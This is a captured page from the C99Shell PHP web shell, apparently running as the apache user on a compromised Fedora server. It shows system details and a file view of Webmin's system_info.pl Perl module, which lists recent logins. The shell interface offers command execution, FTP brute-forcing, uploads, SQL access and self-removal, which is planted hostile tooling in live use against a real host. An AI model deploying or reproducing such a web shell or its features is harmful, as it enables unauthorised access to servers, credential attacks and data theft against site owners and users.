!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/acl/   drwxr-xr-x
Free 3.83 GB of 27.03 GB (14.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     system_info.pl (1.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

use strict;
use warnings;
our (%text, $remote_user, %sessiondb, $module_name);
do 'acl-lib.pl';

# list_system_info(&data, &in)
# Show recent logins
sub list_system_info
{
my ($data, $in) = @_;
my @rv;
my %miniserv;
&get_miniserv_config(\%miniserv);
&open_session_db(\%miniserv);
my @logins;
foreach my $k (keys %sessiondb) {
    next if ($k =~ /^1111111/);
    next if (!$sessiondb{$k});
    my ($user, $ltime, $lip) = split(/\s+/, $sessiondb{$k});
    next if ($user ne $remote_user && $user ne "!".$remote_user);
    push(@logins, [ $user, $ltime, $lip, $k ]);
    }
if (@logins) {
    @logins = sort { $b->[1] <=> $a->[1] } @logins;
    if (@logins > 5) {
        @logins = @logins[0..4];
        }
    my $html = &ui_columns_start([ $text{'sessions_host'},
                       $text{'sessions_login'},
                       $text{'sessions_state'} ]);
    my $open = 0;
    foreach my $l (@logins) {
        my $state;
        if ($l->[0] =~ /^\!/) {
            $state = $text{'sessions_out'};
            }
        elsif ($l->[3] eq $main::session_id ||
               $l->[3] eq &hash_session_id($main::session_id)) {
            $state = "<font color=green>$text{'sessions_this'}</a>";
            }
        else {
            $state = $text{'sessions_in'};
            if ($l->[2] ne $ENV{'REMOTE_HOST'}) {
                $open++;
                $state = "<font color=orange>$state</font>";
                }
            }
        $html .= &ui_columns_row([ $l->[2],
                       &make_date($l->[1]),
                       $state ]);
        }
    $html .= &ui_columns_end();
    push(@rv, { 'type' => 'html',
            'desc' => $text{'logins_title'},
            'open' => $open,
            'id' => $module_name.'_logins',
            'priority' => -100,
            'html' => $html });
    }
return @rv;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0032 ]--